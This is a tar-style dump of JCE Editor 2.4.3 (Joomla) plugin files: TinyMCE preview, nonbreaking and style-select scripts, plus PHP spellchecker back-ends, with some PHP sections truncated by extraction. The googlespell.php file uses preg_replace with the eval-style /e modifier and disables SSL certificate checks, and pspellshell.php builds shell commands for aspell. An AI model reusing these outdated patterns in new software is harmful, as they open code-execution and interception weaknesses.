active=DOM.select('.mceButtonActive',DOM.get(ed.id+'_toolbargroup'));each(active,function(n){cm.setActive(n.id,!state);});each(DOM.select('.mceButton, .mceListBox, .mceSplitButton',DOM.get(ed.id+'_toolbargroup')),function(n){var id=n.id;if(n.className.indexOf('mceSplitButton')!==-1){id=n.parentNode.id;} if(id){cm.setDisabled(id,state);}});cm.setActive('preview',state);cm.setActive('fullscreen',(ed.id=='mce_fullscreen'));cm.setDisabled('preview',false);cm.setDisabled('print',false);cm.setDisabled('fullscreen',false);},_togglePreview:function(state){var self=this,ed=this.editor,DOM=tinymce.DOM;var state=this.getState();var iframe=DOM.get(ed.id+'_ifr');var preview=DOM.get(ed.id+'_preview_iframe');var container=DOM.get(ed.id+'_preview_container');var toolbar=DOM.get(ed.id+'_toolbargroup');var w=parseFloat(iframe.clientWidth);var h=parseFloat(iframe.clientHeight);var editorpath=DOM.get(ed.id+'_path_row');var wordcount=DOM.get(ed.id+'-word-count');if(tinymce.isIE){DOM.setStyle(iframe.parentNode,'position','relative');} if(!state){ed.setProgressState(true);if(!container){container=DOM.create('div',{id:ed.id+'_preview_container',role:'application',style:{position:'absolute',top:tinymce.isIE?0:this.getTop()}});var parent=iframe.parentNode;parent.insertBefore(container,iframe);} if(!preview){preview=DOM.add(container,'iframe',{frameborder:0,src:'javascript:""',id:ed.id+'_preview_iframe'});var html='';html+='';html+='';var css=tinymce.explode(ed.getParam('content_css'));html+='';tinymce.each(css,function(url){html+='';});html+='';html+='';var doc=preview.contentWindow.document;doc.open();doc.write(html);doc.close();} DOM.setStyles(preview,{width:w,height:h});if(editorpath){DOM.hide(editorpath);} if(wordcount){DOM.hide(wordcount.parentNode);} self._loadData(preview);DOM.setStyle(iframe,'hidden');DOM.setAttrib(iframe,'aria-hidden',true);DOM.show(container);container.removeAttribute('aria-hidden');}else{if(preview){if(editorpath){DOM.show(editorpath);} if(wordcount){DOM.show(wordcount.parentNode);} var doc=preview.contentWindow.document;doc.body.innerHTML='';DOM.removeClass(iframe,'hidden');iframe.removeAttribute('aria-hidden');DOM.hide(container);DOM.setAttrib(container,'aria-hidden',true);}} this.setState(!state);},_loadData:function(n){var self=this,ed=this.editor,s=tinymce.settings,doc=n.contentWindow.document;var query='',args={'format':'raw'};args[ed.settings.token]=1;tinymce.extend(args,{'data':ed.getContent()});for(k in args){query+='&'+k+'='+encodeURIComponent(args[k]);} tinymce.util.XHR.send({url:s['site_url']+'index.php?option=com_jce&view=editor&layout=plugin&plugin=preview&component_id='+s['component_id'],data:'json='+tinymce.util.JSON.serialize({'fn':'showPreview'})+'&'+query,content_type:'application/x-www-form-urlencoded',success:function(x){if(/^[\],:{}\s]*$/.test(x.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,'@').replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,']').replace(/(?:^|:|,)(?:\s*\[)+/g,''))){o=tinymce.util.JSON.parse(x);}else{o={error:'Invalid JSON: '+x};} if(o.error){var msg=o.error;if(o.text){msg=o.text.join('');} ed.windowManager.alert(msg);ed.setProgressState(false);return false;} r=o.result;doc.body.innerHTML=r;ed.setProgressState(false);},error:function(e,x){doc.body.innerHTML=ed.getContent();ed.setProgressState(false);}});},getInfo:function(){return{longname:'Preview',author:'Moxiecode Systems AB',authorurl:'http://tinymce.moxiecode.com',infourl:'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/preview',version:tinymce.majorVersion+"."+tinymce.minorVersion};}});tinymce.PluginManager.add('preview',tinymce.plugins.Preview);})();com_jce/editor/tiny_mce/plugins/nonbreaking/nonbreaking.xml000066600000001275150771500630020252 0ustar00 WF_NONBREAKING_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_NONBREAKING_DESC nonbreaking com_jce/editor/tiny_mce/plugins/nonbreaking/index.html000066600000000054150771500630017222 0ustar00com_jce/editor/tiny_mce/plugins/nonbreaking/editor_plugin.js000066600000002173150771500630020433 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){tinymce.create("tinymce.plugins.Nonbreaking",{init:function(a,b){var c=this;c.editor=a;a.addCommand("mceNonBreaking",function(){a.execCommand("mceInsertContent",false,(a.plugins.visualchars&&a.plugins.visualchars.state)?' ':" ")});a.addButton("nonbreaking",{title:"nonbreaking.desc",cmd:"mceNonBreaking"});if(a.getParam("nonbreaking_force_tab")){a.onKeyDown.add(function(d,f){if(f.keyCode==9){f.preventDefault();d.execCommand("mceNonBreaking");d.execCommand("mceNonBreaking");d.execCommand("mceNonBreaking")}})}},getInfo:function(){return{longname:"Nonbreaking space",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/nonbreaking",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("nonbreaking",tinymce.plugins.Nonbreaking)})();com_jce/editor/tiny_mce/plugins/styleselect/classes/index.html000066600000000054150771500630020722 0ustar00com_jce/editor/tiny_mce/plugins/styleselect/classes/config.php000066600000011025150771500630020703 0ustar00getParam('styleselect.custom_styles', $wf->getParam('editor.custom_styles', ''))); $include = (array) $wf->getParam('styleselect.styles', array('stylesheet', 'custom')); if (!empty($custom_styles) && in_array('custom', $include)) { // Styles list (legacy) $theme_advanced_styles = $wf->getParam('editor.theme_advanced_styles', ''); if (!empty($theme_advanced_styles)) { $settings['theme_advanced_styles'] = implode(';', explode(',', $theme_advanced_styles)); } $styles = array(); $blocks = array('section', 'nav', 'article', 'aside', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'header', 'footer', 'address', 'main', 'p', 'pre', 'blockquote', 'figure', 'figcaption', 'div'); foreach ((array) $custom_styles as $style) { if (isset($style->styles)) { $style->styles = self::cleanJSON($style->styles); } if (isset($style->element)) { if (in_array($style->element, $blocks)) { $style->block = $style->element; } else { $style->inline = $style->element; } // remove $style->remove = "all"; $selector[] = $style->element; unset($style->element); } else { $style->element = 'span'; if (!isset($style->selector)) { $style->selector = '*'; } } $styles[] = $style; } if (!empty($styles)) { $settings['style_formats'] = htmlentities(json_encode($styles), ENT_NOQUOTES, "UTF-8"); } } // set this value false if stylesheet not included if (in_array('stylesheet', $include) === false) { $settings['styleselect_stylesheet'] = false; } } protected static function cleanJSON($string, $delim = ";") { $ret = array(); foreach (explode($delim, $string) as $item) { $item = trim($item); // split style at colon $parts = explode(":", $item); if (count($parts) < 2) { continue; } // cleanup string $parts = preg_replace('#^["\']#', '', $parts); $parts = preg_replace('#["\']$#', '', $parts); $ret[trim($parts[0])] = trim($parts[1]); } return $ret; } /** * Get a list of editor font families * * @return string font family list * @param string $add Font family to add * @param string $remove Font family to remove */ protected static function getFonts() { $wf = WFEditor::getInstance(); $add = $wf->getParam('editor.theme_advanced_fonts_add'); $remove = $wf->getParam('editor.theme_advanced_fonts_remove'); // Default font list $fonts = self::$fonts; if (empty($remove) && empty($add)) { return ""; } $remove = preg_split('/[;,]+/', $remove); if (count($remove)) { foreach ($fonts as $key => $value) { foreach ($remove as $gone) { if ($gone && preg_match('/^' . $gone . '=/i', $value)) { // Remove family unset($fonts[$key]); } } } } foreach (explode(";", $add) as $new) { // Add new font family if (preg_match('/([^\=]+)(\=)([^\=]+)/', trim($new)) && !in_array($new, $fonts)) { $fonts[] = $new; } } natcasesort($fonts); return implode(';', $fonts); } } ?> com_jce/editor/tiny_mce/plugins/styleselect/index.html000066600000000054150771500630017265 0ustar00com_jce/editor/tiny_mce/plugins/styleselect/styleselect.xml000066600000002246150771500630020357 0ustar00 WF_STYLESELECT_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_STYLESELECT_DESC styleselect com_jce/editor/tiny_mce/plugins/styleselect/editor_plugin.js000066600000004556150771500630020505 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var DOM=tinymce.DOM,Event=tinymce.dom.Event,extend=tinymce.extend,each=tinymce.each,Cookie=tinymce.util.Cookie,explode=tinymce.explode;tinymce.create('tinymce.plugins.StyleSelectPlugin',{init:function(ed,url){var self=this;this.editor=ed;ed.onNodeChange.add(function(ed,cm){var c=cm.get('styleselect'),formatNames=[],matches;if(c){formatNames=[];each(c.items,function(item){formatNames.push(item.value);});matches=ed.formatter.matchAll(formatNames);c.select(matches[0]);tinymce.each(matches,function(match,index){if(index>0){c.mark(match);}});}});},createControl:function(n,cf){var ed=this.editor;switch(n){case"styleselect":if(ed.getParam('styleselect_stylesheet')!==false||ed.getParam('style_formats')||ed.getParam('theme_advanced_styles')){return this._createStyleSelect();} break;}},_createStyleSelect:function(n){var self=this,ed=this.editor,ctrlMan=ed.controlManager,ctrl,PreviewCss=tinymce.util.PreviewCss;ctrl=ctrlMan.createListBox('styleselect',{title:'advanced.style_select',onselect:function(name){var matches,formatNames=[],removedFormat;each(ctrl.items,function(item){formatNames.push(item.value);});ed.focus();ed.undoManager.add();matches=ed.formatter.matchAll(formatNames);tinymce.each(matches,function(match){if(!name||match==name){if(match) ed.formatter.remove(match);removedFormat=true;}});if(!removedFormat) ed.formatter.apply(name);ed.undoManager.add();ed.nodeChanged();return false;}});ed.onPreInit.add(function(){var counter=0,formats=ed.getParam('style_formats'),styles=ed.getParam('theme_advanced_styles','','hash');if(formats){each(formats,function(fmt){var name,keys=0;each(fmt,function(){keys++;});if(keys>1){name=fmt.name=fmt.name||'style_'+(counter++);ed.formatter.register(name,fmt);ctrl.add(fmt.title,name,{style:function(){return new PreviewCss(ed,fmt);}});}else ctrl.add(fmt.title);});} if(styles){each(styles,function(val,key){var name,fmt;if(val){name='style_'+(counter++);fmt={inline:'span',classes:val,selector:'*'};ed.formatter.register(name,fmt);ctrl.add(ed.translate(key),name,{style:function(){return new PreviewCss(ed,fmt);}});}});}});return ctrl;}});tinymce.PluginManager.add('styleselect',tinymce.plugins.StyleSelectPlugin,['importcss']);})();com_jce/editor/tiny_mce/plugins/spellchecker/spellchecker.xml000066600000010642150771500630020566 0ustar00 WF_SPELLCHECKER_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_SPELLCHECKER_DESC spellchecker com_jce/editor/tiny_mce/plugins/spellchecker/classes/index.html000066600000000054150771500630021026 0ustar00com_jce/editor/tiny_mce/plugins/spellchecker/classes/pspell.php000066600000004070150771500630021043 0ustar00_getPLink($lang); $outWords = array(); foreach ($words as $word) { if (!pspell_check($plink, trim($word))) $outWords[] = utf8_encode($word); } return $outWords; } /** * Returns suggestions of for a specific word. * * @param {String} $lang Language code like sv or en. * @param {String} $word Specific word to get suggestions for. * @return {Array} Array of suggestions for the specified word. */ function &getSuggestions($lang, $word) { $words = pspell_suggest($this->_getPLink($lang), $word); for ($i=0; $ithrowError("PSpell support not found in PHP installation."); $pspell_config = pspell_config_create ( $lang, $this->_config['PSpell.spelling'], $this->_config['PSpell.jargon'], $this->_config['PSpell.encoding'] ); pspell_config_personal ($pspell_config, $this->_config['PSpell.dictionary']); $plink = pspell_new_config ($pspell_config); if (!$plink) $this->throwError("No PSpell link found opened."); return $plink; } /** * Add a word to the PSPell personal dictionary * From http://slack5.com/blog/2008/12/tinymce-add-to-dictionary/ * @param object $lang * @param object $word * @return */ function &addToDictionary($lang, $word) { $plink = $this->_getPLink($lang); pspell_add_to_personal ($plink, $word); pspell_save_wordlist ($plink); return true; } } ?> com_jce/editor/tiny_mce/plugins/spellchecker/classes/enchantspell.php000066600000004013150771500630022221 0ustar00= 1.4.1 * @param Array $words Array of words to check. * @return Array of misspelled words. */ function &checkWords($lang, $words) { $r = enchant_broker_init(); if (enchant_broker_dict_exists($r,$lang)) { $d = enchant_broker_request_dict($r, $lang); $returnData = array(); foreach($words as $key => $value) { $correct = enchant_dict_check($d, $value); if(!$correct) { $returnData[] = trim($value); } } return $returnData; enchant_broker_free_dict($d); } else { $this->throwError("Language not installed"); } enchant_broker_free($r); } /** * Returns suggestions for a specific word. * * @param String $lang Selected language code (like en_US or de_DE). Shortcodes like "en" and "de" work with enchant >= 1.4.1 * @param String $word Specific word to get suggestions for. * @return Array of suggestions for the specified word. */ function &getSuggestions($lang, $word) { $r = enchant_broker_init(); $suggs = array(); if (enchant_broker_dict_exists($r,$lang)) { $d = enchant_broker_request_dict($r, $lang); $suggs = enchant_dict_suggest($d, $word); enchant_broker_free_dict($d); } else { $this->throwError("Language not installed"); } enchant_broker_free($r); return $suggs; } } ?> com_jce/editor/tiny_mce/plugins/spellchecker/classes/pspellshell.php000066600000005510150771500630022073 0ustar00_getCMD($lang); if ($fh = fopen($this->_tmpfile, "w")) { fwrite($fh, "!\n"); foreach($words as $key => $value) fwrite($fh, "^" . $value . "\n"); fclose($fh); } else $this->throwError("PSpell support was not found."); $data = shell_exec($cmd); @unlink($this->_tmpfile); $returnData = array(); $dataArr = preg_split("/[\r\n]/", $data, -1, PREG_SPLIT_NO_EMPTY); foreach ($dataArr as $dstr) { $matches = array(); // Skip this line. if (strpos($dstr, "@") === 0) continue; preg_match("/\& ([^ ]+) .*/i", $dstr, $matches); if (!empty($matches[1])) $returnData[] = utf8_encode(trim($matches[1])); } return $returnData; } /** * Returns suggestions of for a specific word. * * @param {String} $lang Language code like sv or en. * @param {String} $word Specific word to get suggestions for. * @return {Array} Array of suggestions for the specified word. */ function &getSuggestions($lang, $word) { $cmd = $this->_getCMD($lang); if (function_exists("mb_convert_encoding")) $word = mb_convert_encoding($word, "ISO-8859-1", mb_detect_encoding($word, "UTF-8")); else $word = utf8_encode($word); if ($fh = fopen($this->_tmpfile, "w")) { fwrite($fh, "!\n"); fwrite($fh, "^$word\n"); fclose($fh); } else $this->throwError("Error opening tmp file."); $data = shell_exec($cmd); @unlink($this->_tmpfile); $returnData = array(); $dataArr = preg_split("/\n/", $data, -1, PREG_SPLIT_NO_EMPTY); foreach($dataArr as $dstr) { $matches = array(); // Skip this line. if (strpos($dstr, "@") === 0) continue; preg_match("/\&[^:]+:(.*)/i", $dstr, $matches); if (!empty($matches[1])) { $words = array_slice(explode(',', $matches[1]), 0, 10); for ($i=0; $i_tmpfile = tempnam($this->_config['PSpellShell.tmp'], "tinyspell"); if(preg_match("#win#i", php_uname())) return $this->_config['PSpellShell.aspell'] . " -a --lang=". escapeshellarg($lang) . " --encoding=utf-8 -H < " . $this->_tmpfile . " 2>&1"; return "cat ". $this->_tmpfile ." | " . $this->_config['PSpellShell.aspell'] . " -a --encoding=utf-8 -H --lang=". escapeshellarg($lang); } } ?> com_jce/editor/tiny_mce/plugins/spellchecker/classes/config.php000066600000004746150771500630021023 0ustar00getParam('spellchecker.engine', 'browser', 'browser'); //$url = JURI::base(true).'/index.php?option=com_jce&view=editor&layout=plugin&plugin=spellchecker&component_id=' . $settings['component_id']; switch($engine) { default: case 'browser': case 'googlespell': $languages = ''; $settings['spellchecker_browser_state'] = $wf->getParam('spellchecker.browser_state', 0, 0); $engine = 'browser'; break; /*case 'googlespell': $languages = $wf->getParam('spellchecker.googlespell_languages', ''); // use a default if (!$languages) { $languages = $wf->getParam('spellchecker.languages', 'English=en', '' ); } break;*/ case 'pspell': case 'pspellshell': case 'enchantspell': $languages = $wf->getParam('spellchecker.languages', 'English=en', '' ); break; } //$settings['spellchecker_rpc_url'] = $url; // cast as array if ($languages) { $languages = (array) $languages; } if (!empty($languages)) { $settings['spellchecker_languages'] = '+' . implode(',', $languages); } $settings['spellchecker_engine'] = $engine; $settings['spellchecker_suggestions'] = $wf->getParam('spellchecker.suggestions', 1, 1); } } ?> com_jce/editor/tiny_mce/plugins/spellchecker/classes/spellchecker.php000066600000011776150771500630022223 0ustar00getConfig(); $engine = $this->getEngine(); if (!$engine) { self::error('No Spellchecker Engine available'); } $request = WFRequest::getInstance(); // Setup plugin XHR callback functions $request->setRequest(array($engine, 'checkWords')); $request->setRequest(array($engine, 'getSuggestions')); $request->setRequest(array($engine, 'ignoreWord')); $request->setRequest(array($engine, 'ignoreWords')); $request->setRequest(array($engine, 'learnWord')); $this->execute(); } private function getConfig() { static $config; if (!is_array($config)) { $params = $this->getParams(); $config = array( 'general.engine' => $params->get('spellchecker.engine', 'googlespell'), // PSpell settings 'PSpell.mode' => $params->get('spellchecker.pspell_mode', 'PSPELL_FAST'), 'PSpell.spelling' => $params->get('spellchecker.pspell_spelling', ''), 'PSpell.jargon' => $params->get('spellchecker.pspell_jargon', ''), 'PSpell.encoding' => $params->get('spellchecker.pspell_encoding', ''), 'PSpell.dictionary' => JPATH_BASE . '/' . $params->get('spellchecker.pspell_dictionary', ''), // PSpellShell settings 'PSpellShell.mode' => $params->get('spellchecker.pspellshell_mode', 'PSPELL_FAST'), 'PSpellShell.aspell' => $params->get('spellchecker.pspellshell_aspell', '/usr/bin/aspell'), 'PSpellShell.tmp' => $params->get('spellchecker.pspellshell_tmp', '/tmp') ); // default to googlespell if browser if ($config['general.engine'] == 'browser') { $config['general.engine'] = 'googlespell'; } } return $config; } private function getEngine() { static $engine; $config = $this->getConfig(); if (!is_object($engine)) { $classname = $config['general.engine']; $file = dirname(__FILE__) . '/' . $classname . ".php"; if (is_file($file)) { require_once($file); $engine = new $classname($config); } } return $engine; } private static function error($str) { die('{"result":null,"id":null,"error":{"errstr":"' . addslashes($str) . '","errfile":"","errline":null,"errcontext":"","level":"FATAL"}}'); } } /** * @author Moxiecode * @copyright Copyright (c) 2004-2007, Moxiecode Systems AB, All rights reserved. */ class SpellChecker { /** * Constructor. * * @param $config Configuration name/value array. */ public function SpellChecker(&$config) { $this->_config = $config; } /** * Simple loopback function everything that gets in will be send back. * * @param $args.. Arguments. * @return {Array} Array of all input arguments. */ protected function &loopback(/* args.. */) { return func_get_args(); } /** * Spellchecks an array of words. * * @param {String} $lang Language code like sv or en. * @param {Array} $words Array of words to spellcheck. * @return {Array} Array of misspelled words. */ public function &checkWords($lang, $words) { return $words; } /** * Returns suggestions of for a specific word. * * @param {String} $lang Language code like sv or en. * @param {String} $word Specific word to get suggestions for. * @return {Array} Array of suggestions for the specified word. */ public function &getSuggestions($lang, $word) { return array(); } /** * Throws an error message back to the user. This will stop all execution. * * @param {String} $str Message to send back to user. */ protected function throwError($str) { die('{"result":null,"id":null,"error":{"errstr":"' . addslashes($str) . '","errfile":"","errline":null,"errcontext":"","level":"FATAL"}}'); } } ?> com_jce/editor/tiny_mce/plugins/spellchecker/classes/googlespell.php000066600000011166150771500630022064 0ustar00_getMatches($lang, $wordstr); $words = array(); for ($i=0; $i_unhtmlentities(mb_substr($wordstr, $matches[$i][1], $matches[$i][2], "UTF-8")); return $words; } /** * Returns suggestions of for a specific word. * * @param {String} $lang Language code like sv or en. * @param {String} $word Specific word to get suggestions for. * @return {Array} Array of suggestions for the specified word. */ function &getSuggestions($lang, $word) { $sug = array(); $osug = array(); $matches = $this->_getMatches($lang, $word); if (count($matches) > 0){ $s = $this->_unhtmlentities($matches[0][4]); $sug = explode("\t", preg_match('/&[^;]+;/', $s) ? utf8_encode($s) : $s); } // Remove empty foreach ($sug as $item) { if ($item) $osug[] = $item; } return $osug; } protected function &_getMatches($lang, $str) { $lang = preg_replace('/[^a-z\-]/i', '', $lang); // Sanitize, remove everything but a-z or - $str = preg_replace('/[\x00-\x1F\x7F]/', '', $str); // Sanitize, remove all control characters $server = "www.google.com"; $port = 443; $path = "/tbproxy/spell?lang=" . $lang . "&hl=en"; $host = "www.google.com"; $url = "https://" . $server; // Setup XML request $xml = '' . $str . ''; $header = "POST ".$path." HTTP/1.0 \r\n"; $header .= "MIME-Version: 1.0 \r\n"; $header .= "Content-type: application/PTI26 \r\n"; $header .= "Content-length: ".strlen($xml)." \r\n"; $header .= "Content-transfer-encoding: text \r\n"; $header .= "Request-number: 1 \r\n"; $header .= "Document-type: Request \r\n"; $header .= "Interface-Version: Test 1.4 \r\n"; $header .= "Connection: close \r\n\r\n"; $header .= $xml; // Use curl if it exists if (function_exists('curl_init')) { // Use curl $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $header); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); $response = curl_exec($ch); if ($response === false) { $this->throwError('Invalid Server Response'); } else { $xml = $response; } curl_close($ch); } else { // Use raw sockets $fp = fsockopen("ssl://" . $server, $port, $errno, $errstr, 30); if ($fp) { // Send request fwrite($fp, $header); // Read response $xml = ""; while (!feof($fp)) $xml .= fgets($fp, 128); fclose($fp); } else { //echo "Could not open SSL connection to google."; $this->throwError('Could not open SSL connection to google.'); } } // Grab and parse content $matches = array(); preg_match_all('/([^<]*)<\/c>/', $xml, $matches, PREG_SET_ORDER); return $matches; } protected function _unhtmlentities($string) { $string = preg_replace('~&#x([0-9a-f]+);~ei', 'chr(hexdec("\\1"))', $string); $string = preg_replace('~&#([0-9]+);~e', 'chr(\\1)', $string); $trans_tbl = get_html_translation_table(HTML_ENTITIES); $trans_tbl = array_flip($trans_tbl); return strtr($string, $trans_tbl); } } // Patch in multibyte support if (!function_exists('mb_substr')) { function mb_substr($str, $start, $len = '', $encoding="UTF-8"){ $limit = strlen($str); for ($s = 0; $start > 0;--$start) {// found the real start if ($s >= $limit) break; if ($str[$s] <= "\x7F") ++$s; else { ++$s; // skip length while ($str[$s] >= "\x80" && $str[$s] <= "\xBF") ++$s; } } if ($len == '') return substr($str, $s); else for ($e = $s; $len > 0; --$len) {//found the real end if ($e >= $limit) break; if ($str[$e] <= "\x7F") ++$e; else { ++$e;//skip length while ($str[$e] >= "\x80" && $str[$e] <= "\xBF" && $e < $limit) ++$e; } } return substr($str, $s, $e - $s); } } ?>com_jce/editor/tiny_mce/plugins/spellchecker/index.html000066600000000054150771500630017371 0ustar00com_jce/editor/tiny_mce/plugins/spellchecker/css/index.html000066600000000054150771500630020161 0ustar00com_jce/editor/tiny_mce/plugins/spellchecker/css/content.css000066600000000463150771500630020354 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ .mceItemHiddenSpellWord{background:url(../img/wline.gif) repeat-x bottom left;cursor:default;}com_jce/editor/tiny_mce/plugins/spellchecker/img/index.html000066600000000054150771500630020145 0ustar00com_jce/editor/tiny_mce/plugins/spellchecker/img/wline.gif000066600000000056150771500630017757 0ustar00GIF89a**!,Df;com_jce/editor/tiny_mce/plugins/spellchecker/spellchecker.php000066600000001154150771500630020553 0ustar00com_jce/editor/tiny_mce/plugins/spellchecker/editor_plugin.js000066600000021324150771500630020601 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var JSON=tinymce.util.JSON,each=tinymce.each,DOM=tinymce.DOM;tinymce.create('tinymce.plugins.SpellcheckerPlugin',{getInfo:function(){return{longname:'Spellchecker',author:'Moxiecode Systems AB',authorurl:'http://tinymce.moxiecode.com',infourl:'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/spellchecker',version:tinymce.majorVersion+"."+tinymce.minorVersion};},init:function(ed,url){var t=this,cm;t.url=url;t.editor=ed;t.rpcUrl=ed.getParam('site_url')+'index.php?option=com_jce&view=editor&layout=plugin&plugin=spellchecker' t.native_spellchecker=(t.rpcUrl==''||ed.getParam("spellchecker_engine","browser")=='browser');if(t.native_spellchecker){if(tinymce.isIE&&/MSIE [56789]/.test(navigator.userAgent)){if(t.rpcUrl==''){return;} t.native_spellchecker=false;} t.hasSupport=true;if(ed.getParam("spellchecker_suggestions",true)){ed.onContextMenu.addToTop(function(ed,e){if(t.active) return false;});}} ed.addCommand('mceSpellCheck',function(){if(t.native_spellchecker){var body=ed.getBody();body.spellcheck=t.active=!t.active;ed.focus();return;} if(!t.active){ed.setProgressState(1);t._sendRPC('checkWords',[t.selectedLang,t._getWords()],function(r){if(r.length>0){t.active=1;t._markWords(r);ed.setProgressState(0);ed.nodeChanged();}else{ed.setProgressState(0);if(ed.getParam('spellchecker_report_no_misspellings',true)) ed.windowManager.alert('spellchecker.no_mpell');}});}else t._done();});if(ed.settings.content_css!==false) ed.contentCSS.push(url+'/css/content.css');if(ed.getParam("spellchecker_suggestions",true)){ed.onClick.add(t._showMenu,t);ed.onContextMenu.add(t._showMenu,t);} ed.onBeforeGetContent.add(function(){if(t.active) t._removeWords();});ed.onNodeChange.add(function(ed,cm){cm.setActive('spellchecker',!!t.active);});ed.onSetContent.add(function(){t._done();});ed.onBeforeGetContent.add(function(){t._done();});ed.onBeforeExecCommand.add(function(ed,cmd){if(cmd=='mceFullScreen') t._done();});t.languages={};each(ed.getParam('spellchecker_languages','+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv','hash'),function(v,k){if(k.indexOf('+')===0){k=k.substring(1);t.selectedLang=v;} t.languages[k]=v;});ed.onInit.add(function(){if(t.native_spellchecker&&ed.getParam('spellchecker_browser_state',0)){ed.execCommand('mceSpellCheck',false);}});},createControl:function(n,cm){var t=this,c,ed=t.editor;if(n=='spellchecker'){if(t.native_spellchecker){if(t.hasSupport) c=cm.createButton(n,{title:'spellchecker.desc',cmd:'mceSpellCheck',scope:t});return c;} c=cm.createSplitButton(n,{title:'spellchecker.desc',cmd:'mceSpellCheck',scope:t});c.onRenderMenu.add(function(c,m){m.add({title:'spellchecker.langs','class':'mceMenuItemTitle'}).setDisabled(1);t.menuItems={};each(t.languages,function(v,k){var o={icon:1},mi;o.onclick=function(){if(v==t.selectedLang){return;} t._updateMenu(mi);t.selectedLang=v;};o.title=k;mi=m.add(o);mi.setSelected(v==t.selectedLang);t.menuItems[v]=mi;if(v==t.selectedLang){t.selectedItem=mi;}});});return c;}},setLanguage:function(lang){var t=this;if(lang==t.selectedLang){return;} if(tinymce.grep(t.languages,function(v){return v===lang;}).length===0){throw"Unknown language: "+lang;} t.selectedLang=lang;if(t.menuItems){t._updateMenu(t.menuItems[lang]);} if(t.active){t._done();}},_updateMenu:function(mi){mi.setSelected(1);this.selectedItem.setSelected(0);this.selectedItem=mi;},_walk:function(n,f){var d=this.editor.getDoc(),w;if(d.createTreeWalker){w=d.createTreeWalker(n,NodeFilter.SHOW_TEXT,null,false);while((n=w.nextNode())!=null) f.call(this,n);}else tinymce.walk(n,f,'childNodes');},_getSeparators:function(){var re='',i,str=this.editor.getParam('spellchecker_word_separator_chars','\\s!"#$%&()*+,-./:;<=>?@[\]^_{|}ß©´Æ±∂∑∏ªºΩæø◊˜§\u201d\u201c');for(i=0;i$2');while((pos=v.indexOf(''))!=-1){txt=v.substring(0,pos);if(txt.length){node=doc.createTextNode(dom.decode(txt));elem.appendChild(node);} v=v.substring(pos+10);pos=v.indexOf('');txt=v.substring(0,pos);v=v.substring(pos+11);elem.appendChild(dom.create('span',{'class':'mceItemHiddenSpellWord'},txt));} if(v.length){node=doc.createTextNode(dom.decode(v));elem.appendChild(node);}}else{elem.innerHTML=v.replace(rx,'$1$2');} dom.replace(elem,n);}});se.setRng(r);},_showMenu:function(ed,e){var t=this,ed=t.editor,m=t._menu,p1,dom=ed.dom,vp=dom.getViewPort(ed.getWin()),wordSpan=e.target;e=0;if(!m){m=ed.controlManager.createDropMenu('spellcheckermenu',{'class':'mceNoIcons'});t._menu=m;} if(dom.hasClass(wordSpan,'mceItemHiddenSpellWord')){m.removeAll();m.add({title:'spellchecker.wait','class':'mceMenuItemTitle'}).setDisabled(1);t._sendRPC('getSuggestions',[t.selectedLang,dom.decode(wordSpan.innerHTML)],function(r){var ignoreRpc;m.removeAll();if(r.length>0){m.add({title:'spellchecker.sug','class':'mceMenuItemTitle'}).setDisabled(1);each(r,function(v){m.add({title:v,onclick:function(){dom.replace(ed.getDoc().createTextNode(v),wordSpan);t._checkDone();}});});m.addSeparator();}else m.add({title:'spellchecker.no_sug','class':'mceMenuItemTitle'}).setDisabled(1);if(ed.getParam('show_ignore_words',true)){ignoreRpc=t.editor.getParam("spellchecker_enable_ignore_rpc",'');m.add({title:'spellchecker.ignore_word',onclick:function(){var word=wordSpan.innerHTML;dom.remove(wordSpan,1);t._checkDone();if(ignoreRpc){ed.setProgressState(1);t._sendRPC('ignoreWord',[t.selectedLang,word],function(r){ed.setProgressState(0);});}}});m.add({title:'spellchecker.ignore_words',onclick:function(){var word=wordSpan.innerHTML;t._removeWords(dom.decode(word));t._checkDone();if(ignoreRpc){ed.setProgressState(1);t._sendRPC('ignoreWords',[t.selectedLang,word],function(r){ed.setProgressState(0);});}}});} if(t.editor.getParam("spellchecker_enable_learn_rpc")){m.add({title:'spellchecker.learn_word',onclick:function(){var 